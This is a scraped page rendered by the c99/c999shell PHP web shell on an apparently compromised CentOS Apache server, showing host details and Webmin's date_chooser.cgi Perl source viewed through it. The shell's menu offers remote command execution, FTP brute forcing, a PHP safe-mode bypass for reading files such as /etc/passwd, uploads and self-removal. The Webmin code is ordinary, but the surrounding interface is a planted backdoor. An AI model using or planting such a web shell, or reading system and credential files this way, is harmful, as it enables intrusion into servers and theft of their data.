!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/   drwxr-xr-x
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     date_chooser.cgi (2.2 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# date_chooser.cgi
# Display a table of days in the current month

BEGIN { push(@INC, ".."); };
use WebminCore;
use Time::Local;

$trust_unknown_referers = 1;
&init_config();
&ReadParse();

@daysin = ( 31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 );
$daysin[1] = $in{'year'}%400 == 0 ? 29 :
         $in{'year'}%100 == 0 ? 28 :
         $in{'year'}%4 == 0 ? 29 : 28;

@tm = localtime(time());
if ($in{'day'} !~ /^\d+$/ || $in{'day'} < 1 || $in{'year'} !~ /^\d+$/) {
    $in{'day'} = $tm[3];
    $in{'month'} = $tm[4];
    $in{'year'} = $tm[5]+1900;
    }
if ($in{'day'} > $daysin[$in{'month'}]) {
    $in{'day'} = $daysin[$in{'month'}];
    }
$tm = timelocal(0, 0, 12, $in{'day'}, $in{'month'}, $in{'year'});

&popup_header($text{'chooser_date'});
$uday = &urlize($in{'day'});
$umonth = &urlize($in{'month'});
$uyear = &urlize($in{'year'});
print <<EOF;
<script>
function newmonth(m)
{
location = "date_chooser.cgi?day=$uday&month="+m.selectedIndex+"&year=$uyear";
}
function newyear(y)
{
location = "date_chooser.cgi?day=$uday&month=$umonth&year="+(y.selectedIndex+$in{'year'}-10);
}
function newday(d)
{
opener.dfield.value = d;
opener.mfield.selectedIndex = $umonth;
opener.yfield.value = $uyear;
close();
}
</script>
<form><table border width=100%>
<tr> <td colspan=7 align=center><select name=year onChange='newyear(this)'>
EOF
for($i=$in{'year'}-10; $i<=$in{'year'}+10; $i++) {
    printf "<option %s>%s\n",
        $i == $in{'year'} ? 'selected' : '', $i;
    }
print "</select> <select name=month onChange='newmonth(this)'>\n";
for($i=0; $i<12; $i++) {
    printf "<option value=%s %s>%s\n",
        $i, $i == $in{'month'} ? 'selected' : '',
        $text{"month_".($i+1)};
    }
print "</select></td> </tr>\n";

print "<tr>\n";
for($i=0; $i<7; $i++) {
    print "<td><b>",$text{"sday_$i"},"</b></td>\n";
    }
print "</tr>\n";

@first = localtime($tm - ($in{'day'}-1)*24*60*60);
$count = -$first[6] + 1;
for($y=0; $y<6; $y++) {
    print "<tr>\n";
    for($x=0; $x<7; $x++) {
        if ($count < 1 || $count > $daysin[$in{'month'}]) {
            print "<td align=center></td>\n";
            }
        else {
            printf "<td align=center %s><a href='' onClick='newday($count)'>%s</a></td>\n", $in{'day'} == $count ? $cb : '', $count;
            }
        $count++;
        }
    print "</tr>\n";
    }
print "</table></form>\n";
&popup_footer();


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0096 ]--